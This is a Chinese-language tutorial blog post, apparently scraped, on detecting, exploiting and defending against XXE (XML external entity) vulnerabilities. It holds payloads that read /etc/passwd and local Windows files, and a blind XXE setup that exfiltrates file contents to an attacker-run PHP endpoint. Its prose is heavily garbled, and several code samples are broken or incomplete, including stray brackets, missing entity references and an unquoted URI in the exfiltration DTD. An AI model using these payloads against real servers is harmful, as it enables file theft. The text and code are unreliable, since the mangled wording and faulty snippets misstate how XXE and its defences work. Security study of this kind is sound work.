浅析XXE漏洞检测与防御版权声明
原创在参加一项CTF在比赛中遇到的xxe这个漏洞,因为当时没有研究,根本不知道如何解决问题。化妆web安全防御知识和减少漏洞利用的短板,我读了一些。xxe关于漏洞的信息将在学习后在这里总结和分享。
XML基础
在介绍xxe在漏洞面前,学会照顾好它们XML最基本的。XML旨在传输和存储数据,重点放在数据的内容上,它从数据中提取数据。HTML分离是一个独立于软件和硬件的信息传输工具。
XML文档结构
XML文档结构包括XML声明、DTD单据类型定义(可选)、文档元素。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
由于xxe漏洞与DTD与文档相关,因此重点放在DTD的概念。
DTD
单据类型定义(DTD)可以定义合法XML使用一系列合法元素定义文档结构的文档构建块。DTD 可以在行中声明。XML在文件(内部基准电压源)中,它也可以用作外部基准电压源。
内部声明DTD:
1
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
1
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD文档中有许多重要的关键字,如下所示:
- DOCTYPE(DTD的声明)
- ENTITY(实体声明)
- SYSTEM、PUBLIC(申请外部资源)
实体
实体可以理解为必须位于DTD该变量的值可以在文档中的其他位置引用。
实体按类型分为以下四种主要类型:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
根据引用实体的方式,还可以将实体分为内部实体和外部实体,并查看这些实体是如何声明的。
可以参考完整的实体类别。 DTD - Entities
实体类别简介
参数实体%Entity NAME语句也可供参考。%实体名称;其余实体由实体名称直接声明并被引用&实体名称。
参数实体只能位于DTD中申明,DTD在中引用;其余实体只能在中引用DTD在声明中,可以在。xml文档中引用的。
内部实体:
1
<!ENTITY 实体名称 "实体的值">
外部实体:
1
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
示例演示:参数实体以外的实体+内部实体
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
示例演示:参数实体+外部实体
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意:%name(参数实体)位于DTD引用于,而&name(其余实体)在xml文档中引用的。
由于xxe该漏洞主要被利用。DTD对外部实体的引用会导致漏洞,因此请关注哪些类型的外部实体可以被引用。
外部实体
外部实体在DTD中使用
1
<!ENTITY 实体名称 SYSTEM "URI">
那么,语法指的是外部实体,而不是内部实体。URL可以写入哪些类型的外部实体?
主要的有file、http、https、ftp当然,以此类推,不同的程序支持不同的:
示例演示:
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">]>
XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE该漏洞在应用程序解析时发生。XML进入时不禁止加载外部实体,导致加载恶意外部文件,导致文件读取、命令执行、内网端口扫描、内网网站攻击、发起dos袭击和其他危险。xxe该漏洞被触发的时间点通常是它可以被上传。xml文件的位置未上载。xml文件会被过滤,从而导致恶意上传。xml文件。
xxe漏洞检测
第1步检测XML它是否会成功解决:
1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
如果页面输出my name is nMask,说明xml可以对文件进行解析。
转存失败 重新上传 取消
第二步检测服务器是否支持它。DTD对外部实体的引用:
1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
您可以通过查看服务器上的日志来判断目标服务器是否向您的服务器发送了请求。test.xml的请求。
如果支持对外部实体引用,则很可能存在xxe漏洞的。
xxe漏洞利用
xxe漏洞的危害很多,如文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,在这里测试如何读取任何文件。
读取任何文件
自从我在windows在测试上,所以就让它读吧。c盘下的test.txt文件内容。
如果是linux在下面,你可以阅读/etc/passwd目录下的敏感数据。
上述任一文件均可成功读取,DTD可以有对外部实体的引用,但也取决于输出信息,即回声。那么,如果程序没有回显,如何读取文件的内容呢?需要使用blind xxe可利用的漏洞。
blind xxe漏洞
对于传统的XXE例如,攻击者需要使用XXE如果没有回显,则可以使用读取服务器端文件的漏洞。Blind XXE构建带外通道以提取数据的漏洞。
创建test.php写下以下内容:
1
2
3
<?php
file_put_contents("test.txt", $_GET[file]) ;
?>
创建index.php写下以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "
" ;print_r($data) ;
?>
创建test.xml并写下以下内容:
1
2
[html] view plain copy
<!ENTITY % all "<!ENTITY % send SYSTEM http://localhost/test.php?file=%file;>">
当访问 http://localhost/index.php , 易受攻击的服务器将读取text.txt内容,发送到攻击者的服务器。test.php,然后将读取的数据保存到本地test.txt中。
注:xxe有许多姿势和绕过防守姿势的用途,这里不介绍了。
xxe漏洞修复和防御
使用开发语言提供的方法禁用外部实体。
PHP:
1
libxml_disable_entity_loader(true);
JAVA:
1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
已提交筛选用户XML数据
过滤器关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
参考文档
https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://b1ngz.github.io/XXE-learning-note/
http://bobao.360.cn/learning/detail/3841.html版权声明
所有资源都来源于爬虫采集,如有侵权请联系我们,我们将立即删除